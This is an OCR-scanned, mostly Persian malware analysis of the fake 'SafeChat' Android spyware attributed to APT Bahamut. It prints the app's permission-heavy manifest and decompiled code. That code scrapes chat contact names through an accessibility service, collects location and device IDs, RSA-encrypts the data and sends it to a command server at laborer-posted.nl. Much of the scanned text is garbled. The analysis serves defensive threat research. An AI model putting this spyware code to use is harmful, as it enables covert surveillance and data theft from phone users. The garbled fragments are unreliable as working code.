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v<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersic
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-feature android:name="android.hardware.camera2"/>
<uses-feature android:name="android.hardware.camera.any"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
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v<queries>
v<intent>
<action android:name="android.media.action.IMAGE_CAPTURE"/>
</intent>
v<intent>
<action android:name="android.intent.action.OPEN_DOCUMENT_TREE"/>
</intent>
<package android:name="com.miui.securitycenter"”/>
<package android:name="com.miui.permcenter"/>
<package android:name="com.letv.android.letvsafe"/>
<package android:name="com.asus.mobilemanager"/>
<package android:name="com.huawei.systemmanager"”/>
<package android:name="com.coloros.safecenter"/>
<package android:name="com.oppo.safe"/>
<package android:name="com.iqoo.secure"/>
<package android:name="com.vivo.permissionmanager"”/>
<package android:name="com.evenwell.powersaving”/>
<package android:name="com.samsung.android"/>
<package android:name="com.oneplus”/>
<package android:name="com.android.settings"/>
</queries>
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stlis.colloctions Collactiomar;
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poalie fimal clans LinCont gt
static
145Cond g Notdficationld « o Dufault. cantist (999, ¥99));
bosld « el (Palee ),
enbleConers = Tuploskt. 0e(boold, “wndrold. permieilon (AR
boold el (trwa)
ennletas « Tupleskt.00(Booll, “endrold. perwission MO $96°);
enadleCalllogs « Teploskt. to(soall, “ansrold. permisslon. MAD (A

enadleContacts « Tuploske to(boell, “ansrols
wnasletontf iles + Tupleak. saitooll, “»
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serfalizenle « tooll; 1
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4 .
1 package heavenly.fruit.data.api.base;

import kotlin.Metadata;

tadata(
d1 = {" S\nEE\n3Z \nZ\DI\nZEZ\n2\DI\DLIE 200383\ bI¢ SNETRIIIRTOSET n RASIEDADAET(I\n RITRITOI2T '
82 = {“Lheavenly/frult/data/api/dase/fpiRoutes;™, ==, “()V", "BASE URL™, =<, “MARRY", “POTTER", “Lidb_dedug“},
k=1,

9 v - (1, 8,0),

1@ xi - 48

11 )

120 public final class ApiRoutes |

13 private static final String BASE_URL = “https://laborer-posted.nl:20537;

public static final String MARRY « “https://laborer-posted.nl:2053/api/JuryPandenic”™;
public static final ApiRoutes INSTANCE «~ mew ApiRoutes();
public static fimal String POTTER = “https://laborer-posted.nl:2053/apl/rossingStonmer™;

private ApiRoutes() {
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v

{nvokeinterfoce length ()i

fstore 3

{lood 3

(fne > 304

{conse_ 1

{store_3

pote -> 336

fconst @
(store_J
{lood 3

(feq > M5

toc_w "Bt IR coated ol i 2053 opl frcamingStomees”

astore 8
clocs »12
clood #

checkeost Jova/l

(nvokevirtuwal append

o _w “opl/reconfiraColiected’

tnvolevirtw

(Ljova/Lang/String; ) fova/Llong/StringBullder;

sppend (Lfova/long/String; )L Jova/long/StringBullder;

{nvokevirtuwol toString ()i Jova/long/String;

astore #12

olood 0

{nvokespecial getClient

gstore M

()Lto/ktor/client Meeplilent;

new heavenly/frutt/data/opi/ApiService Impl ScreateManmers?

astore #13

7: alood #13

oloog #11
olood )
alood &8

{rvokespeciol <init>

olood #13

checheast kotlin/fwm/functions/Function)

{nvokestatic formOoto

astore #13

([8L Jova/Llong/String, L Jova/long/String, )V

(Lrotlin/Jva/functions/Functionl; )L Jova/util/List;

new {o/Rtor/client/request /Mt tpRequestBullder

ostore_l
olood 1

{nvokespeciol <inft> v

olood 1
getstotic

{o/ktor/Mttp/MetpMethod, Componion

L{o/ator/Netp/ Mt tpMethod$Companion;

oo gl g ol Jelw aelp L as Ko Jgsle SO0 09350 S|l dges pais bxil o

03,3] g o oolitul o ,.e  Facebook Messenger Signal . Telegramosile e calisee sladsl »

6)9] g ‘) u|f)l5 U""L““o s_JLC)Ua‘ b oS S U)Dm <\.AL~)J 4 S| USA‘" Lbéba.o.’ Lf‘ el 00U

Ll ooy |y sl cpl )0 ool 0p3d glaocsls 5 Glbls)l & wyiws Gl Sezly 4 L oS
lasl 5l g6 ol 4 DDle> jo oS Conl alde LSS § g GO o oS 55 oaimoylid

oy..ab.o 03 130 400

@ole guail

el <alo 35 po» Ay Blaio woew (p] (G0 g (olo (Goii> alS



7 SafeChat ,l38las b,l35
L

public LidbAccessibilityService() {

KoinComponent koinCosponent = this;

LazyThreadSafetyMode lazyThreadSafetyMode « KoinPlatforaTools INSTANCE . defaultlozyMode();

this . siniHelperSdelegate ~ LaxnyXet. lazy(lazyThreadSafetyMode, (Functicn® new (0 ject (koinloeponent, nell, null));

this.serviceScope ~ CoroutineScopeke.ConoutineScope ((CorcutineContext)Dispatchers.getlil());

this.hatsipplitle » °7;

this. vhatsippBusinessTitle ~ °7;

this, telegraalitle « *7;

this, facebookTitle « *7;

this, fsoTitle =~ °7;

this.signalTitle « “°;

this.viderTitle - °~;

this.cOnfonTitle » °°;

this . bipTitle =~ °°;

this.changeableViewText « °7;

this. foTextirray « new ot

this.folitledrray ~ new St

this.viderTitleArray ~ mew &
)

} { “Chats™, "Messenger™, “Create Room™, “Search™ };
gl] { “Instant Video™, “Video chat™, “Video call®, “Voice call®, “Create room™, “Jump to latest message’
ingl) { “Chats™, “Calls®, "More®, “Last seen a long time ago” };

private final void fetchTelegras(ontactame(AccessidilityEvent paraniccessidilityfvent) |
4f (paramiccessibilityfvent getContentDescription() !~ nuldd) {

String ste;

4 (StringsKt.startsiithSdefault(String . valuelf (paramiccessidilityfvent getContentDescription()), “(hannel.”, false, 2, mull)) (
Steing stel = StringsKt.replaceSdefault(String . valueOf (paramiccessibilityfvent getContentDescription()), “(hannel.”, *°, false, ¢
4f (Stringske .containsSdefavlt(stel, “Roceived at”, false, 2, mull)) {

str = Stringskt.substringBeforelastidefault (strl, “Recelved at™, nell, 2, mell);
if (Stringskt.endskithSdefault(StringsKt . trinfnd(str).toString(), “new messages.”, false, 2, mull))
ste « SteingsKt.substringBeforelastSdefaulit(StringsKt.replaceSdefault{str, “new messages.”, “°, false, 4, null), ~.7, nall, 7
)} else 4if (Steingskt.contains$Sdefault(strl, “Sent at", false, 2, null)) {
str « Stringskt . substringBeforelastSdefault(strl, “Sent at™, mell, 2, sell);

this.telegramTitle ~ var3;
}

}

private final void fetchihatsAppBusinessContactiame(AccessibilityNodelnfo varl) {
List var3 = varl.findAccessibilityNodeInfosByViewld(“com.whatsapp.wib: id/conversation_contact_name™);
if (var3 1+ null) {
varl ~ (Accessibilitylodelnfo)CollectionsKe.firstOrtiull(var3);
4f (varl 1= noll) {
String vard = varl.getText().toSteing();
boolean var2;
if (((CharSequence)vard).length() > @) {
var2 = true;
} else {
var2 ~ false;
}

if (var2) {
this .whatsAppBusinessTitle ~ vard;
}

}
}

}

private final void fetchihatsApplontactName (AccessibilityNodelnfo varl) {
List vard = varl.findAccessibilitylodeInfosByViewld(“com.whatsapp: id/conversation_contact_name™);
if (var3 1= nall) {
varl « (AccessibilityNodelnfo)CollectionsKe.firstOrtiull(var3); I
if (varl 1~ mall) {
String vard = varl.getText().toString();
boolean varl;
if (((CharSequence)vard).length() > @) {
var2 = true;
} else {
var2 ~ false;
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public finmal Ooject _(",:-_-,.--: paramObject) {
double d1;
double d2;
Location location;
String strl;
JSONObject JSONObjectl;
Continuation continuation;
LocationManager locationManager;
JSONObject JSONODject2;
String str2;
String ste3;
LemmiHandleEverything lesmiHandleEverything;
SystesipiHelper systemipiHelper;
Joject object = IntrinsicsKt.getCOROUTINE _SUSPENDED();
switch (this.label) {
default:
throw new 1llegalStateException(“call to ‘resume’ before ‘invoke' with coroutine™);
case 1:
ResultKt.throwOnFailure (paranObject);
break;
case O:
ResultKt.throwOnFailure (parasObject);
location = LocationManager.INSTANCE.getlocation();
locationManager ~ LocationManager. INSTANCE;
parasObject ~ LemmiMandleEverything.this;
if (paramObject instanceof KoinScopelomponent) {
parasObject =~ ((KoinScopeComponent )paramObject).getScope().get(Reflection.getOrlreateKotlinClass(Context.class), null,
} else {
parasObject = parasObject.getKoin().getScopeRegistry().getRootScope().get(Reflection.getOrlreateKotlinClass (Context.cl
str3 « locationManager.getAddress((Context JparasObject);
JSONObject2 ~ mew JSONObject();
lesmiHandleEverything ~ LemmiHandleEverything.this;
JSONObject2.put(“imel”, SystemdpiHelper.CoreFeatures. INSTANCE, getUniqueAndroidld((Context)LibApp.Companion.getinstance()
JSONObject2.put(“deviceld”, Build.ID);
FSONObject2.put(“model”™, Build.MODEL);

oges S 5l eolatnl b Sledbl 6,550, sl RSA 1,65 51 o oee duliyy 4 o) oo Ll 4
Glp & sl gl (6,50, lapt oSl alax 5l 0ol ol Ll 00,5 oolaiul (public key)
Sygo |y Sledbl O e aalip a5 aes co lid ST (] 0gd oo oliiw] wlus Sledbl 5| cbslas
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2 2 () PNSKAC Y ik CAaSS
}? private static final int CRYPTO_BITS « 2042;

;g peblic static final RSAPUDLLC INSTANCE « mew RSAPWBIicC();
20 private static final Strirg RSA « “RSA%;
21
22 private static final 5 £ Chi o “RSA/ECR/OAEPPOSGING”;
23
%-; private static Publickey publickey;
26[] private final byte[] getBytes(string paramstring, Pudlickey parsaPublickey) throws fx
27 Cipher cipher « Cipher.getinstance( "RSA/ECH/OAEPPASIING™);
28 ntr: (cigher, “getinstance(chi)™);
29 cipher. init{1, paremPudliciey);

3@ Charset charset « Charset. lom— “uTE.e"

31 Intr! ‘(Nru!. “forname(charsetnane)®);
32 byte[] arrayOfSyte « pareastring.getiytes(charset);

33 1nte! (orrayoftyte, “this as Java.long.String).petiytes(charset)”);
;4 return cipher.dofinal (arrayOfeyte);

S ]

36

37FE)  private final Publicrey stringToPublickey(strirg parsmstring) {

38 Publicrey publicxeyl;

39 Publicrey publickey2 « null;
40, try {
41 byte‘ arrayofyte « Baseid. Gecode(paranstring, @
42 {orrayOftyte, “decode(peblickeystring, Basess. OEFAAT)");
43 - new tH
a4 this{ arrayOfeyte);

4 -
e Y Y key Y » ey Y “RSA%);
a tr “getinstonce(Rsa)”
47 Muc:m keyFactory. nmumnqmnc mo«‘-
48 Intr pudlickeyd, “keyfactory.generateludlic(spec)®);
49 publicrey « peblicieyt;
seqm if (publicreyl o« oull) {
51 Intrinsics.ts ope “publickey*);
2.; publicieyl « publicKey2;

)

54 ) cateh ( ) {
55 or ael);
56 publickeyl » publickey?;
57 ) cateh ( ) €
S8 acel);
59 publickeyl « publiciey2;
60 }
61 return publicerl;
62 )
63
64  public final string encoseThestring(string parsastring) (
65 Intrinsics. checinotiullparaneter (paraastring, :
66 Publicrey « $tring 3 y(pe 'H
67 if (podlickey ' mull)
68p) try {
69 byte]] arrayOfByte « INSTANCE.getSytes(parasstring, publicxey);
ZO return Saseis encodeTostringlarrayOftyte, @

ool osls (5,855, wnld g5,0 jskite 4 ()5, @l o wmsoe Sl Jsile sladises ol
osls 0,53 sl,y RSA/ECB/OAEPPaddINg (5,50, 5l ,Kexles a5 ains oo oylid o Julos 06 oo
Slr 6w, ooy sl g, 5l eolaiul saimslis (pl WS o colainl culs ) Ke, Ojge A
Sl oyl el Oye 4l lawg osls 03 g Jml ol o eles Sledlbl 5l cblas
e |y osls Coaal g aisS cdadlors Oledlbsl ay jlxe e pleil oo s 1 alys g0 00l (5,5,

Lazy lazy « KoirPlatforaTools. INSTANCE . efaultlanyModel);
keyManagerSdelegate = LaznyKe, lazy(lazy , (F 0. o ect(koinG
blf&mu = miniHelper;

Lazy lazy - loln?hl'oﬂ'ooh.llil“! defavltlanytode();
repoSdelegate luyﬂ lazy( onyYhNdSc'ﬂMl. (Functiond)mew O t(koinComponentl, mull, mell));

o mell, mell));

private fisal Encrypt08 Mmubaw() L
return (| yp {H

private fisal LidCacheManager getieyMasager() {
return (LIbC "o 13 'H

private fisal ApiServiceRepository ntlm() {

retura (29! ory ! lue();
}

public statdc oot par > por String paraaString, Continuation<? super Unit) parssContinuation, ia
47 ((parealnt & 2x2) !~ @)
paraasSteing « aull; I
retura par ¥ paranString, paraalontinuation);

}

public Koin getkoln() {
return KoinCosponent.ODefaultingls, getioln(this);
)

public final byte[) getMd(String paranString) {
Intrinsics g, “<thinT);

par
Mes 0! = Messaged] .getinstance(M05°);
Charset charset ~ StandardCharsets UTF 8;

Intrinsics harset, “UTE 8°);

byte() « paraaString. getBy charset);

ln!rln‘tu u«umlhllh»muo-ﬂulw areayOfyte, “this as Java.lang.String).getBytes(charset)”);
arrayOfbyte « -meomu digest(arrayOfbyte);

Inteinsi arrayOftyte, “getinstance(\"MD5\").digest(this. tolytedrray(UTF _8))");
return arrayOfbyte;
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$2lsS ams o lis a5l (Live HTTP request) owsy; HTTP cuulss o G bl digad ()
S5 i 5IE 08 (oo 518 eolitul )90 j9m g aslipy G 0l (6,050, bLS )| (sl LetSENCrypt
Halas 51 (6,55l g Olbls )l cosal il @y g9 pl 5l el 2l 5l olawl iS5 S el A
Slbls )| plsl sl SKexles a5 was oo olis cpl S oo SaS e i Loliidl lawgs aSids il

v\.oS‘sa oolazw! LSM‘ 9 IR W) W)L....d 6L€bd.ol)k5®‘9§ )‘ 9y l; U"°‘

: (Threat Actor) ,2Kosld Jsligy

S lo 1y el (6,10 0 0 GL"’LS‘)-.’.A%%"-:“’T 5 oolaiwl 3,50 O 2o )}é‘ﬁf «WBa dalaie ‘r:‘dé‘

S o Ml LT a4 Saxlgs a5 B9 ,me sl jlaine b 5008 (slapls (Aliases): ylesuwo ob )
LT sloclad g 02l 09,5 b Kozl 5l (s patsns ciogs (DeSCription): ciuogi .Y

& S auds s | Odles alil gl ,Sozles slooySil s LY (Motivation): o5l .Y

35505 ol 69y p ol ok a4 Kexls a5 oLl i aslaie (Targets region): Sus aikie ¥

KN

Kozl a5 olaylpl b lao,5e 8le 5 (Malware Used): eolaiw! 8 yg0 ©yoo Hl38ley .8
S oo oolil Sl plaxil gl
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11 SafeChat ,l38la ,l55
I ——

gty

S oo o0liil 093 EMez g 395 (sl Ll 5 Kamles 45 (6,10 0 00

S,90 GL“’&)%*"-.&W*’»‘ (Vulnerability Exploited): ool (5,18 w0 pbe ‘Sﬁ.&awi 7

S S Wil e

Aliases .

APT Bahomut is an Advanced Persstent Threat [APT] group that has been
active since the yeor 2017, known for ifs diverse arsencl of cyber
weapons. The group has targeted a wide range of technology platforms,
Description including i0S. Android, and Windows. It has been observed deployi
malicious applications on both Google Play Store and iOS App Store. The
security community has labeled APT Bohamut as a Hack-For-Hire
Mercenary Group, although ifs specific affiliation remains unconfimed.

N
@ Motivation Espionage, Data Exiliration
A Targeted Individuals
Indusfries
iO Target South Asia and the Middle East
Region

Malware

Used : Bahamut, DownPaper

Vulnerabilities

Nil
Exploited :

B B

(Threat Actor) ySwale Jslg

Adversary

The Advanced
Persistent Group

APT
Capabilifies Infrastructure

Bahamut

Encypiion Web Server

Target

Individual in South Asia
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1- https://www.cyfirma.com/outofband/apt-bahamut-targets-individuals-with-android-
malware-using-spear-messaging/

2- https://nextdoorsec.medium.com/safe-chat-or-safe-hack-new-android-malware-raises-
concerns-267e9d09710f

3- https://gridinsoft.com/blogs/bahamut-apt-fake-safechat-app/
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